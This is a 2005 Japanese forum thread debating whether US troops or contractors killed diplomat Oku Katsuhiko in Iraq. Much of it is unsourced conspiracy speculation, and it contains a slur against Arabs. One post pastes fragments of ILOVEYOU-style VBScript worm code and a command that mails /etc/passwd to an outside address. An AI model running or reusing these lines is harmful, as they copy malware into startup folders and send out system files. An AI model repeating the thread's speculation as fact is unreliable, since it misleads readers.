「奥参事官米軍誤射」ならば小泉は大悪人

**国連な成しさん** · 05/05/10 21:45

大量破壊兵器の嘘､フセインを穴倉で発見したのも演出、イラク人犠牲者も２万人どころではなく
１０万人超と言う。
収容所の虐待も隠しに隠し続けた。
奥参事官の撃たれた車両も完全公開しない。
嘘だらけの中で、不可解な奥参事官の件だけ信じろと言われても無理がある。

**反米だが・・・** ◆ai/4WmELPY · 05/05/10 21:54

そう言えば、葬式の時、小泉祝辞で嗚咽してたな。

**反米だが・・・** ◆ai/4WmELPY · 05/05/10 22:07

誠に失礼致しました。弔辞。

**国連な成しさん** · 05/05/11 00:05

ブッシュが電撃訪問した時の七面鳥？もロウ細工だったことがばれている。
また、小泉は横須賀の戦没者記念館のようなものには顔を出さない。
沖縄の時はテレビの前で嘘泣きをする。
松田聖子のような奴だ。

**反米だが・・・** ◆ai/4WmELPY · 05/05/11 00:17

>>4
伝説のレコ大受賞シーンでつか。

**国連な成しさん** · 05/05/11 09:37

特殊法人改革も結局､天下りを増やすだけでかえって悪くしました。

**国連な成しさん** · 05/05/11 14:02

野党もだらしない
国政調査権を発動して当該車両の検分をおこなうべきではないか？

**国連な成しさん** · 05/05/11 14:09

かなりの高さがあるランドクルーザーのボンネットを上から下へ、
ほとんど垂直に撃ち抜くなんてのは並みのクルマからでは不可能。
屋根上に銃座のある軍用車からの射撃と考えるのが常識だろう。

**国連な成しさん** · 05/05/11 14:48

このスレタイのセンスは信濃だな。
今頃なんでw

**国連な成しさん** · 05/05/12 00:29

純正信濃国民ならば、

「「奥参事官米軍誤射」でなくとも小泉は大悪人」

としたであろう。
まだまだ甘いな、ふふ。

**国連な成しさん** · 05/05/19 11:19

齋藤氏拉致でPMC/PMF（民間軍事会社）が注目されたけど
PMCは
1. 行動は複数の4WDと乗用車に分乗
2. 服装は私服（一部統一している会社もある）
3. 武装は、M4（M16系）のほか、AKなど。
4. 米軍車列の護衛など
5. 不審者は個人の裁量で、殺害も可。罪には問えない
（ニューズウィーク日本版に写真あり）
1. 奥さん襲撃車両は4WDなど複数の車両
2. 犯行グループは私服にケブラー製ヘルメットを着用
3. 武装は、分隊支援火器のRPK、AK47
4. 襲撃前後に米軍車両が通過
5. 警告射撃と思しき弾痕の他にガラス部分に集中した弾痕
　テロなら、なぜかﾄﾄﾞﾒを刺していないなど疑問が。
以上の共通点が見いだせる
特に5.は、仮にPMCだと罪に問えない＝矛先が米軍に向く＝自衛隊派遣が猛反発喰らう
など不利益が考えられるんで、「地元武装勢力」をスケープゴートにしたと考えることもできよう

つまり、犯人は、広義の米軍、狭義の民間武装勢力という可能性もあるのか？
地元に米軍基地がある事も考えれば「地元武装勢力」と矛盾しないと政府が踏んだのか？

**国連な成しさん** · 05/05/19 12:08

どうも、藻舞等イラク戦争反対の香具師等の言い分はわかりにくい
イラクでは戦争やってるんだから、官民を問わず、危険はあたりまえ。
靖国の英霊にしても過半数は味方の銃弾との説もあるが、だからと
いって「名誉の戦死」にかわりはなかろう。なぜ、反米の銃弾で
奥参事官が亡くなられたら小泉さんは偉くて、米軍などの銃弾で
亡くなられると小泉さんが大悪人になるか、わかるように説明して
くれたまえ。

**国連な成しさん** · 05/05/19 16:46

市街散兵戦で同士打ちは、ごく当たり前な出来事
戦争で米軍がやったか否か判断できないが
戦争は、そういうものだ
いやなら、戦争しない政党を指示するか
日本人を止めるしかない

**国連な成しさん** · 05/05/19 16:55

米軍誤射じゃないので、小泉首相は大善人。

**国連な成しさん** · 05/05/19 18:12

誤射じゃないなら狙い撃ちか？
んなら、コイズミは大大悪人

**国連な成しさん** · 05/05/19 21:23

>>15
小泉首相の命令で奥参事官が殺されたという意味ですか？

**このスレの粘着チンピラどもへ** · 05/06/02 23:46

　　　　　　　　　　　　　　　　　　　　　　　　＼从人从＿人从人从＿从人从＿从人从人从＿从
　　　　　　　　　　　　　　　　　　　　　　　　≫ 妄想粘着罪　募金詐欺罪　幼女買春罪は
　　　　　　　　　　　　　　　　　　　　　　　　≫ここで償うんだよ　
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　　　　　　　　　　　　　 |　.|: 刑務 :|≫
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**このスレの粘着チンピラどもへ** · 05/06/02 23:48

　　　　　　　　　　　　　　　　　　　　　　　　＼从人从＿人从人从＿从人从＿从人从人从＿从
　　　　　　　　　　　　　　　　　　　　　　　　≫ 妄想粘着罪　募金詐欺罪　幼女買春罪は
　　　　　　　　　　　　　　　　　　　　　　　　≫ここで償うんだよ　
　　　　　　　　　　　　　　　／|￣￣￣|≫　
　　　　　　　　　　　　　 |　.|: 刑務 :|≫
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**このスレの粘着チンピラどもへ** · 05/06/02 23:51

　　　　　　　　　　　　　　　　　　　　　　　　＼从人从＿人从人从＿从人从＿从人从人从＿从
　　　　　　　　　　　　　　　　　　　　　　　　≫ 妄想粘着罪　募金詐欺罪　幼女買春罪は
　　　　　　　　　　　　　　　　　　　　　　　　≫ここで償うんだよ　
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◆WYPTt0bf1o · 05/06/18 03:30

米軍誤射の可能性について
http://wakahide.com/iraq_report.html

http://sports2.2ch.net/test/read.cgi/iraq/1085208955/-100

**国連な成しさん** · 05/06/18 15:19

このスレはイラク情勢板の良心であろう

**国連な成しさん** · 05/06/19 01:02

重複スレ気味だがな。ｗ

**国連な成しさん** · 05/06/19 18:31

>>22
重複って・・他にあるの？
http://sports2.2ch.net/iraq/subback.html

**国連な成しさん** · 05/06/20 01:37

>>23

仮説★大使館員を殺したのは？★仮説【6】
http://sports2.2ch.net/test/read.cgi/iraq/1088361131/
　　↑（事実上の本スレ）

【外交官殺害】歴史的車両_亡失の危機!【廃棄処分】
http://sports2.2ch.net/test/read.cgi/iraq/1095922812/
　　↑（証拠隠滅問題に特化、といっても大差はない）

イラクで殺害された外交官の奥さんの…
http://sports2.2ch.net/test/read.cgi/iraq/1070615769/
　　↑（これは、奥大使の娘・千恵子さんのファンスレ）

外交官殺害は米兵によるものだった（激藁
http://sports2.2ch.net/test/read.cgi/iraq/1085208955/
　　↑（１０００達してしまったが、名スレ）

**国連な成しさん** · 05/06/21 11:13

ここが本スレっぽい予感

**国連な成しさん** · 05/06/23 02:11

本スレの予感

**国連な成しさん** · 05/06/26 02:09

もはや本スレ

**国連な成しさん** · 05/06/26 02:47

>>25-28
ならば、多少は「本スレ」らしいカキコをしたらどうだ。
さもないと、削除依頼出すぞ。ｗ

**国連な成しさん** · 05/06/26 03:53

c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"

**国連な成しさん** · 05/06/26 12:28

>>29
必死だな

**国連な成しさん** · 05/06/27 00:34

というか、小泉は、アメリカから一報を受けて、
アメリカが誤射、ないしは故意の工作で、奥らを
殺したのは、充分に承知していたと思う。

それで自衛隊を慌てて派遣したわけだし。

**国連な成しさん** · 05/06/27 01:06

どうも、>>12の香具師の言い分はわかりにくい。
このスレのどこに
「反米の銃弾で奥参事官が亡くなられたら小泉さんは偉い」
なんて言い分があるんだ？

**国連な成しさん** · 05/06/27 01:57

764 名前：あるやーばん ◆FVgZM7PrgI [age] 投稿日：2005/06/26(日) 16:01:39 ID:???

元記事によれば、駐留米軍の傭兵だった斎藤昭彦（負傷後死亡）の身柄を拘束した
武装組織「アンサール・アル・スンナ軍」の代表者も、会談に臨んだ、としてる。

参戦国の日本や英国の首相は、アメの「テロリストとは交渉しない」とする方針を、
子供のように忠実に守り、結果、若き香田証生さん、保護義務のあった斎藤、
ケネス・ビグリー氏（オレンジの囚人服を着せられ、小さな檻に入れられ、命乞いを
していた老人。最期は斬首・晒し首）らを見殺しにした。

つまり、今回の米国の「テロリストとの交渉」は、同盟国に対する明らかな背信行為
ではないか。また、どうして撤兵したフィリピン政府やスペイン政府を非難できようか。

《英語》http://www.abc.net.au/news/newsitems/200506/s1400745.htm

**国連な成しさん** · 05/06/28 20:14

>>28　なんでわかったのョ

**国連な成しさん** · 05/06/28 23:11

>というか、小泉は、アメリカから一報を受けて、
>アメリカが誤射、ないしは故意の工作で、奥らを
>殺したのは、充分に承知していたと思う。

ここまでソースもなんにもない妄想をどうやったら思いつくんだよ。

**国連な成しさん** · 05/06/29 02:25

>>35
この事件のあと、滞っていた自衛隊派遣が、急速に進んだ。

**国連な成しさん** · 05/06/29 08:29

それだけがソースですかい。

**国連な成しさん** · 05/06/29 13:28

>>31
>アメリカが誤射、ないしは故意の工作で、奥らを
>殺したのは、充分に承知していたと思う
いや、地元の米軍基地と契約した民間軍事会社＝地元（に展開する）武装（した民間軍事）勢力と聞いていた可能性はある
PMCは現在罪に問えない（実際誤写やりたい放題だし）から反発は半端ない
仕方なく、地元武装勢力とした可能性はある
ケブラー製ヘルメットに私服の武装勢力ってイラク人では考えられんがPMCならｱﾘだしな。
米軍車列の目撃情報とも一致（車両警護なら）するし

**国連な成しさん** · 05/06/29 22:04

>いや、地元の米軍基地と契約した民間軍事会社＝地元（に展開する）武装（した民間軍事）勢力と聞いていた可能性はある
ありえない。というか可能性はかなり低い。もし、アメリカ人の陰謀（これ自体がお笑いだが。）だったとしても、民間企業に頼むわけがない。
諜報戦に近い陰謀で、民間軍事会社にまかせるなんて、情報漏れが怖くて不可能だよ。国家的陰謀を民間にまかせるなんて聞いたことがない。冷戦華やかなりしころでも、
諜報戦は国家組織がやるものでCIAやKGBが民間にまかせたりするなんてありえないだろう。

それと米軍車列の目撃だが、これはすでに各メディアによって否定されている。

《ハッサン・フセインさん（４２）の目撃談，発射音を聞いて，見たら4輪駆動車が道をそれて畑に突っ込むように止まり，すぐ後から米軍の車列が通り過ぎて言った。》
が書くメディアにのってた情報なんだが・・・・。これがおかしいのよ。すでに。
なぜなら、米軍の車列は外交官の車が撃たれた後に、事件発生地点を通り過ぎた事になる。
外交官の車に併走して撃ったのは米軍の車列ではないということになり、誤射の可能性の否定にしかならない。
なにしろ弾痕はあきらかに併走状態で打たれていたし。米軍車列は時間的にもタイミング的にもあっていません。

**国連な成しさん** · 05/06/29 23:11

>>39
>ありえない。というか可能性はかなり低い。もし、アメリカ人の陰謀（これ自体がお笑いだが。）だったとしても、民間企業に頼むわけがない。
>諜報戦に近い陰謀で、民間軍事会社にまかせるなんて、情報漏れが怖くて不可能だよ。国家的陰謀を民間にまかせるなんて聞いたことがない。冷戦華やかなりしころでも、
>諜報戦は国家組織がやるものでCIAやKGBが民間にまかせたりするなんてありえないだろう。
おまえ何も分かってないな
PMCってのは一般人が就職できる職場ではないんだよ
各国の軍隊で相応の階級に行った実績がないと「就職の誘い」が来ないんだよ
米軍と契約する時点で本社が米英のOB企業しかない。
勿論、高給故に元CIAや元レンジャー等特殊任務に就いたことのある人材が多数供給される訳だから国家的陰謀であっても不自然さはない

**国連な成しさん** · 05/06/29 23:21

>各国の軍隊で相応の階級に行った実績がないと「就職の誘い」が来ないんだよ
>米軍と契約する時点で本社が米英のOB企業しかない。
>勿論、高給故に元CIAや元レンジャー等特殊任務に就いたことのある人材が多数供給される訳だから国家的陰謀であっても不自然さはない

わかってないのはお前さんです。ならば現役がいくらでもいる国家組織がやればいいじゃないですか？
情報強度がめちゃめちゃ心配なんですが。友好国の外交官を射殺するなんていう陰謀の中でもそうとうなれベルのものを民間委託？アホですか？
それにレンジャー部隊と軍隊で相応の階級にいったものしか誘いがこない？
兵士というのをまったくわかっていませんね。まず相応の階級と言いますが、どんな特殊部隊にすら、下士官レベルやもっとしたの伍長さんなどもいます。
そして軍隊は仕官、下士官、兵卒で動くんです。
よって民間軍事会社は軍隊を模した組織であり、傭兵部隊です、相応の階級のものしか誘いがこないなんて妄想です。仕官ばかりの傭兵部隊でも作るおつもりですか？
相応の階級ではなく、相応の実績という言葉が正しいでしょう。
一兵卒でも兵士として優秀であれば誘いはかかるでしょうし、まとめる指揮官が必要なら仕官に誘いをかけるでしょう。
相応の階級以上でないと誘いがこないなんて妄想です。

それと元ＣＩＡや元レンジャーを混同しないでください。ＣＩＡは諜報活動で、レンジャーはただの兵士です。
もちろんＣＩＡの人も軍事訓練はうけているでしょうが、兵士としての能力とは違う才能の持ち主でしょう。
傭兵部隊は大抵軍務経験者のあつまりですが、元ＣＩＡて人はほとんど聞いたことありませんな。

**国連な成しさん** · 05/06/29 23:27

>>40を信じる奴なんてまともな日本人にはおらんよ。
映画か小説の見過ぎだろう。

**国連な成しさん** · 05/06/29 23:35

>>39
>それと米軍車列の目撃だが、これはすでに各メディアによって否定されている。
問題は、その否定される為の確認すらとれていないことだがな
確証もなしに否定されてる訳ですか、そうですか
>《ハッサン・フセインさん（４２）の目撃談，発射音を聞いて，見たら4輪駆動車が道をそれて畑に突っ込むように止まり，すぐ後から米軍の車列が通り過ぎて言った。》
>が書くメディアにのってた情報なんだが・・・・。これがおかしいのよ。すでに。
>なぜなら、米軍の車列は外交官の車が撃たれた後に、事件発生地点を通り過ぎた事になる。
>外交官の車に併走して撃ったのは米軍の車列ではないということになり、誤射の可能性の否定にしかならない。
>なにしろ弾痕はあきらかに併走状態で打たれていたし。米軍車列は時間的にもタイミング的にもあっていません。
米軍の車列ってのはHMMWVの最高速度が105km/hだから通常は最高でも80km/hで走行することになる
一方、奥さんの方は前日の外務省OB森本敏へのメールで「治安上の問題から最高速度ぎりぎりの150km/hで走り抜ける」と明言していた
即ち、奥車両は米軍車列に後方から高速で接近し、警告射撃の後銃撃されながら追い抜き路肩に突っ込んだ物と考えるのが妥当
また、運転手の致命傷が右側頭部に受けた銃撃だったことから
最初の警告射撃で車内で跳ねた銃弾を頭部に受け運転が不能になったのであれば銃撃されながら追い抜いた理由となりうる
（運転手を処刑したという事実は外務省の報告書にもないし、車体右側からの入射はないことは公安部の調査から明らか）
また銃弾数も追い抜き時に掛かる時間から考えれば矛盾はない（この際、敢えてAK系ではなくFN MAGで想定すると更に矛盾が生じない）
では、なぜその時間帯通行することが事前に分かっていたのか、であるが、奥さんの行動計画は常にCPAに提出しているため、把握することは容易なのである

一方、武装勢力によるものとする外務省の報告書（元にしたとされる米軍の報告書は機密文書でないにも関わらず公表されていない）の場合、
前方を4輪駆動車が塞ぎAK47と思しき銃を発射していたとされるが、被弾数が極端に少なく殺意を持っている割にフロントガラスの被弾が極端に少ない

**国連な成しさん** · 05/06/29 23:36

>>42
齋藤さん拘束事件の報道くらい把握しておけよ
PMCからのメールが対象者に送られてくるんだけど

**国連な成しさん** · 05/06/29 23:44

>>43さん

残念ながら、軍用車両から打たれた。という前提がほとんど否定されているんですよ。

被害車両に３６カ所の弾痕　警視庁，外交官殺害で検証

　昨年１１月に起きたイラクの日本人外交官殺害事件で，銃撃された四輪駆動車には計３６カ所の弾痕があり，大半の銃弾は，ほぼ水平方向か下方から撃たれていたことが５日，警視庁の検証で分かった．
　軍用車両の銃座など高い位置から撃たれた形跡はなく，一部で指摘された「米軍誤射説」の可能性はほぼなくなった．四駆車には，奥克彦大使＝当時（４５）＝と井ノ上正盛一等書記官＝同（３０）＝ら３人が乗っていた．
　襲撃現場では，別の四駆車や乗用車など３，４台の車両が並走していたのが目撃されており，これらの車両から銃撃されたとすれば検証結果と矛盾しない．
　関係者によると，弾痕は左側の防弾ガラスとドア部分に集中．発射位置は１メートル程度の高さで，距離は５メートル以内と推定される．大半は水平方向か下方向から撃たれていた．（共同通信）[4月5日16時19分更新]

共同通信からなんですが、これでもお疑いですか？
まぁ、米軍車両の銃座からじゃなくて窓から手をだして打つって方法もないではないが。

**国連な成しさん** · 05/06/29 23:49

>>41
>わかってないのはお前さんです。ならば現役がいくらでもいる国家組織がやればいいじゃないですか？
>情報強度がめちゃめちゃ心配なんですが。友好国の外交官を射殺するなんていう陰謀の中でもそうとうなれベルのものを民間委託？アホですか？
国家が手を下したことが後々明らかになれば、それは国家の責任です
しかし、PMCを裁く根拠法は存在しない以上、秘密を保持できるOBにやらせる方が責任問題にもならないんだよ
奥さんの場合、公共工事の受注（日系企業が獲った）を巡って、米国の土木最大手の介入を阻止する（雑誌外交フォーラムより）等、CPA内でも目の上のたん瘤であったことは容易に理解できる
>それにレンジャー部隊と軍隊で相応の階級にいったものしか誘いがこない？
>兵士というのをまったくわかっていませんね。まず相応の階級と言いますが、どんな特殊部隊にすら、下士官レベルやもっとしたの伍長さんなどもいます。
>そして軍隊は仕官、下士官、兵卒で動くんです。
>よって民間軍事会社は軍隊を模した組織であり、傭兵部隊です、相応の階級のものしか誘いがこないなんて妄想です。仕官ばかりの傭兵部隊でも作るおつもりですか？
>相応の階級ではなく、相応の実績という言葉が正しいでしょう。
>一兵卒でも兵士として優秀であれば誘いはかかるでしょうし、まとめる指揮官が必要なら仕官に誘いをかけるでしょう。
>相応の階級以上でないと誘いがこないなんて妄想です。
憶測じゃん。おれは各種報道をもとにしてるんだよ。
大体、実績があったら昇級できるだろ。
日給が傭兵部隊と比べ物にならないPMCに経験のない人間を雇うと考えるのは幼稚だろ
傭兵部隊とPMC／PMFの違いを認識されていないようですね

**国連な成しさん** · 05/06/29 23:50

>>41
>それと元ＣＩＡや元レンジャーを混同しないでください。ＣＩＡは諜報活動で、レンジャーはただの兵士です。
>もちろんＣＩＡの人も軍事訓練はうけているでしょうが、兵士としての能力とは違う才能の持ち主でしょう。
CIAが諜報活動だけと思ってる時点で痛いな。諜報活動のメインは代理人を使うだけ。
実動部隊はきちんと存在するし
>傭兵部隊は大抵軍務経験者のあつまりですが、元ＣＩＡて人はほとんど聞いたことありませんな。
傭兵部隊とPMC／PMFの違いを認識されていないようですね（2回目）
ま、傭兵部隊で有名な（正規軍だけど）フランス外人部隊の場合、ソ連崩壊後は旧ソ諜報部員であるKGBのOBが大量に就職していたが

**国連な成しさん** · 05/06/29 23:51

関係ないけど奥さんって言うとなんかヘンだよな

**国連な成しさん** · 05/06/29 23:58

>大体、実績があったら昇級できるだろ。
士官学校出でないとなかなか仕官には実績があってもなりませんよ。わかってる？経験豊富な中年下士官っていくらでもいるし、軍隊の屋台骨なんですが。
戦果をあげればみんな仕官になれると思っているのはちょっと・・・。
>日給が傭兵部隊と比べ物にならないPMCに経験のない人間を雇うと考えるのは幼稚だろ
経験がない＝階級が低いではないことは上で述べたとおりですが。

>しかし、PMCを裁く根拠法は存在しない以上、秘密を保持できるOBにやらせる方が責任問題にもならないんだよ
ならいままで諜報活動でそういった組織が雇われたソースをだしてみてください。冷戦期でもかまいませんが・・・。

それと斉藤さんだって「下士官」でなかったけ？

**国連な成しさん** · 05/06/30 00:01

>>45
>被害車両に３６カ所の弾痕　警視庁，外交官殺害で検証
>（共同通信）[4月5日16時19分更新]
残念ながら、それは本来の意味の入射角ではない
人体のようなソフトターゲットなら入射後の屈折はほとんど無視できるが
車体のようなハードターゲットの場合、入射後に角度が大きく変化する。したがって、その報告書は入射角の分析ではないということになるんだよ
また、肝心の窓の銃痕については、実験等による確認をとらなかったんだが
フロントガラスの様に角度が変わればヒビの入りかたも変わってくる
下からなら傾斜のついたサイドのガラスのヒビは報道のような真円に近い形にはならないんだがね
右側面への到達数が少ないにもかかわらず、車内から銃弾は4発分しか見つからなかったことも注意

さらに、報道陣に公開したとき座席に布が掛けられていたんだが「遺族の心情に配慮して」だったんだが
よく考えれば座席に銃痕があった可能性が高い
被害者の被弾数の合計と右側面到達数を合計しても、36には遠く及ばない

**国連な成しさん** · 05/06/30 00:06

>>49
>士官学校出でないとなかなか仕官には実績があってもなりませんよ。わかってる？経験豊富な中年下士官っていくらでもいるし、軍隊の屋台骨なんですが。
>戦果をあげればみんな仕官になれると思っているのはちょっと・・・。
すまんが、俺が士官にならないと求人が来ないと書いてるｿｰｽはあるのかな？
PMCなんて1社じゃない。報道に出てきただけで?･、黒水なんかがあるけど、それらの基準が何れも同等とは言ってないぜ
>ならいままで諜報活動でそういった組織が雇われたソースをだしてみてください。冷戦期でもかまいませんが・・・。
ん？おれは諜報活動に限定してないぜ
暗殺が諜報活動ならレンジャーもΔも諜報部員ですかw
ちなみにグアンタラモで拷問作業しているのは、罪に問えないPMCも含まれています

**国連な成しさん** · 05/06/30 00:09

>>49
>それと斉藤さんだって「下士官」でなかったけ？
士官でないとPMCから求人が来ないって俺が書いたって言うならｿｰｽだせよ

お前、柘植やテレンスの見過ぎだろうw

**国連な成しさん** · 05/06/30 00:22

えー、テレンスは元傭兵なんだから合ってるんじゃないの？

**国連な成しさん** · 05/06/30 01:20

なんにせよ、イラクのアメリカ軍は、恐怖心にかられての誤射が多すぎる。

伊、米軍の責任を指弾　“誤射”事件で報告書
http://headlines.yahoo.co.jp/hl?a=20050503-00000080-kyodo-int

＜イラク＞ブルガリア兵士１人死亡　また米軍の誤射？
http://headlines.yahoo.co.jp/hl?a=20050307-00000117-mai-int
★ブルガリア兵の防弾着から米軍の弾丸　「友軍誤射」確実に
《英語》http://abcnews.go.com/US/wireStory?id=564733

**国連な成しさん** · 05/06/30 01:34

テレビのディレクター死亡　バグダッドで米兵が銃撃
http://headlines.yahoo.co.jp/hl?a=20050629-00000242-kyodo-int

　【カイロ２９日共同】ＡＰ通信によると、イラクの首都バグダッドで２８日、地元テレビ局
「アッシャルキーヤ」のディレクター、バクリ氏が米軍の車列に近づき、米兵の銃撃を
受けて死亡した。この１週間にバグダッド周辺で米軍に殺害された報道関係者は
これで３人目となった。
　同局は、バクリ氏が交通事故現場を通り過ぎようとした際、米軍に気付かなかった
ため、撃たれたと説明。米軍は事件の報告がないとしている。
　国際ジャーナリスト組織「国境なき記者団」（本部パリ）は米軍などに事件の調査を
要求した。
　バグダッドでは２４日にも、米系報道機関で働くイラク人記者が米兵に殺害された。
米部隊の警告に応じなかったためとみられる。
　また２６日には、地元テレビ局で働く女性記者が、米軍が武装勢力に反撃した際に、
撃たれて死亡した。
（共同通信） - 6月29日21時29分更新

**国連な成しさん** · 05/06/30 09:39

>すまんが、俺が士官にならないと求人が来ないと書いてるｿｰｽはあるのかな？
>PMCなんて1社じゃない。報道に出てきただけで・、黒水なんかがあるけど、それらの基準が何れも同等とは言ってないぜ
だったらすまない。「相応の階級」ってのは下士官も含むってニュアンスなんだね。
それだったら私のうけとめかたが違ったんだと思う。すまん。
>ん？おれは諜報活動に限定してないぜ
普通の傭兵活動としてならゴマンとあるわなそりゃ。友好国の外交官を撃ち殺すような陰謀に民間企業が関わっていたような事例はある？
って聞いたんだけど。どう考えたって民間企業に政権の命運をかけるような陰謀をまかすとは思えない。

**国連な成しさん** · 05/06/30 09:50

それと・・・。外交官が襲われたとき、ほぼ同時期に韓国人のエンジニアも襲われているという事実は無視ですか？

日本とほぼ同時期に襲われた韓国車両も窓の上部のほうに弾痕がついてるね
「車高の高い軍用車」からしか撃たない限り車体上部やランクルの窓に弾痕ができないんだったら，韓国人技師たちも米軍に襲われたことになるのだが？
この事件では，韓国人技師たちの生存者が「併走してきた車に撃たれた」と言ってる以上，普通自動車からでも角度を変えることで上方に命中させることは十分可能であるという結論しか出せない。

それと
これも共同通信だが、ソフトターゲットやハードターゲットの問題は解決した上で、入射角を調べていると思われる記事なんですが？

イラクで昨年１１月，日本人外交官２人が殺害された事件で，襲撃された四輪駆動車は，左斜め前方を並走している車から３６発の銃弾を受けていたことが５日，警視庁公安部が発表した検証結果で分かった．うち２２発は車内まで到達していた．
　また，銃弾の口径は旧ソ連製自動小銃「ＡＫ４７」（カラシニコフ）と同じ７．６２ミリと判明したが，銃の種類や数は特定できなかった．
　検証結果によると，車両はボンネットなど前部に４カ所，左前ドアに１４カ所，左後ろドアに１８カ所被弾．うち７発は車両右側まで到達．１発は車外まで貫通していた．
　このうち，撃ち込まれた角度が判明したのは１０カ所．最も低い地上７７．８センチの弾痕を除き，すべて１メートル以上でほぼ水平かやや上向きに撃ち込まれていた．
　こうした状況から，公安部は襲撃した車両との距離は４メートル以内，発射した高さは約１メートルと判断．並走する車の窓から撃たれたとみており，発射位置が標準で地上約２メートルとされる米軍車両からの誤射の可能性は低いとみている．（時事通信，4月5日16時0分更新）

**国連な成しさん** · 05/06/30 12:40

>>57
>それと・・・。外交官が襲われたとき、ほぼ同時期に韓国人のエンジニアも襲われているという事実は無視ですか？
無視してませんよ。翌日に起きたﾔﾂでしょ。
>日本とほぼ同時期に襲われた韓国車両も窓の上部のほうに弾痕がついてるね
>「車高の高い軍用車」からしか撃たない限り車体上部やランクルの窓に弾痕ができないんだったら，韓国人技師たちも米軍に襲われたことになるのだが？
そうとも書いてない。弾痕の形状についていってる
銃架使って撃っても窓下部のﾄﾞｱ部に矛盾無く当てることは他ｽﾚ過去ｽﾚで検証済み
韓国人技師の車両には実はルーフ部に弾痕（射出口）がなかったはずだけど
更に右側側面への到達数も奥さんのときと異なりより多かったんじゃなかったかな
>この事件では，韓国人技師たちの生存者が「併走してきた車に撃たれた」と言ってる以上，普通自動車からでも角度を変えることで上方に命中させることは十分可能であるという結論しか出せない。
ここで疑問が生じる。事件の翌日、米軍が警戒しているであろう日になぜ襲撃できたのか。
これは前の事件を隠蔽する為の工作と考えるのが普通だと思うが

**国連な成しさん** · 05/06/30 12:48

>>57
>イラクで昨年１１月，日本人外交官２人が殺害された事件で，襲撃された四輪駆動車は，左斜め前方を並走している車から３６発の銃弾を受けていたことが５日，警視庁公安部が発表した検証結果で分かった．うち２２発は車内まで到達していた．
>　また，銃弾の口径は旧ソ連製自動小銃「ＡＫ４７」（カラシニコフ）と同じ７．６２ミリと判明したが，銃の種類や数は特定できなかった．
判明したのは7.62mmってだけで、NATO弾か否かは成分分析にまわされた
で、結果はAKのものと矛盾しない（口頭で+議事録はあり）とされたが、一部一致しない物が出ている（曳光弾か？）し、AKありきなのでNATO弾との照合は行われていない

**国連な成しさん** · 05/06/30 12:54

>>57
>検証結果によると，車両はボンネットなど前部に４カ所，左前ドアに１４カ所，左後ろドアに１８カ所被弾．うち７発は車両右側まで到達．１発は車外まで貫通していた．
>このうち，撃ち込まれた角度が判明したのは１０カ所．最も低い地上７７．８センチの弾痕を除き，すべて１メートル以上でほぼ水平かやや上向きに撃ち込まれていた．
さて問題です。７発は車両右側まで到達しましたし、被害者の被弾数も2-3発であることが判明しています。貫通できなかった物があることを想定に入れても
7発は少ないのではないでしょうか
また、その前提で座面の被弾数について言及がない。というのも窓上部に複数の貫通孔がありながら右窓下部の到達数が3、上部貫通孔が1だったことから矛盾が生じる
ここから角度の割り出し方法が左ﾄﾞｱ→右ﾄﾞｱに到達したものとして銃弾の角度を割り出そうとしたものと捉えるのが正解
勿論、窓上部から右ﾄﾞｱに到達したものとして検証も可能だが敢えてしなかったことと、座面を隠したことから上部から撃たれた可能性は全く否定されていない

>こうした状況から，公安部は襲撃した車両との距離は４メートル以内，発射した高さは約１メートルと判断．
>並走する車の窓から撃たれたとみており，発射位置が標準で地上約２メートルとされる米軍車両からの誤射の可能性は低いとみている．（時事通信，4月5日16時0分更新）
更に、注意すべき点は、奥さんの被弾箇所である腹部の銃創についてだが、ロイター配信の映像には左斜め上から撃たれたときにしかあり得ないものとして写っている
左ﾄﾞｱに寄りかかっても水平にはとてもならないその銃創からも下もしくは水平から撃ち込まれたものとする断定はあり得ない
これを否定する根拠として考えられるものは、弾道がﾄﾞｱに当たったことで大きく変化したというものであるが、そうであるなら公安部の検証は大間違いであるということの証左になる
さらに奥さん井ノ上さんの死因の特定は行われたが、遺体の銃弾の入射角について全く検証されていないことも留意した方が良い

あと韓国人技師の容疑者を拘束されたとされる一報はあったが続報がないねw容疑者って誰だったんだろう

**国連な成しさん** · 05/06/30 17:54

>ここで疑問が生じる。事件の翌日、米軍が警戒しているであろう日になぜ襲撃できたのか。
>これは前の事件を隠蔽する為の工作と考えるのが普通だと思うが

普通じゃないだろう・・・。隠蔽のために韓国人まで襲うのか？
友好国の人間を二回も襲うかよ？

**国連な成しさん** · 05/06/30 18:13

>>61
>普通じゃないだろう・・・。隠蔽のために韓国人まで襲うのか？
>友好国の人間を二回も襲うかよ？
隠蔽工作って知ってるだろ。ニュースで大々的に取り上げられなきゃ意味がない

そういえば、友好国どころか国連の事務所の警備をなぜか手薄にして
ボムトラックを国連の事務所に横付けされ
占領政策に異議を唱えていたデメロ国連大使を爆死させちゃったりしてるし

**レアもん** · 05/06/30 18:52

同時多発テロ翌日のニューヨークタイムズです。。
http://page.auctions.yahoo.co.jp/jp/auction/78559646

**国連な成しさん** · 05/06/30 19:36

>隠蔽工作って知ってるだろ。ニュースで大々的に取り上げられなきゃ意味がない
それはあんたの妄想以外にソースが存在するのか？

**国連な成しさん** · 05/06/30 19:39

>>64
もうそうだいすき
しなのこくみん

**国連な成しさん** · 05/06/30 19:42

逆にいえば韓国人にたいする攻撃を隠蔽だと！！！と言っているメディアが一つでもあるのか？
まともなところで。

**国連な成しさん** · 05/06/30 20:00

>>66
ないな。
記者や編集委員の私見で記事の傾向が変わるのはまだしも、
ここまで一方的な傾きをもっているというのは、
日本のメディアを見ていて本当に実感できることではある。

**国連な成しさん** · 05/06/30 22:16

>>64
これだけ大事になり、米軍が警戒しているのに翌日に同じ幹線道路でドンパチやらかすﾔﾂは居ない
そういう意図なら最初から米軍狙うだろ

**国連な成しさん** · 05/06/30 22:18

>>64
>それはあんたの妄想以外にソースが存在するのか？
文脈上ｿｰｽは関係ないだろ
隠蔽工作とはそういうものだ、と書いてる訳

**国連な成しさん** · 05/06/30 22:18

>>68
相手はアホのアラブ人だからねぇ。
逃げること以外に大して統制とれてないみたいだし。

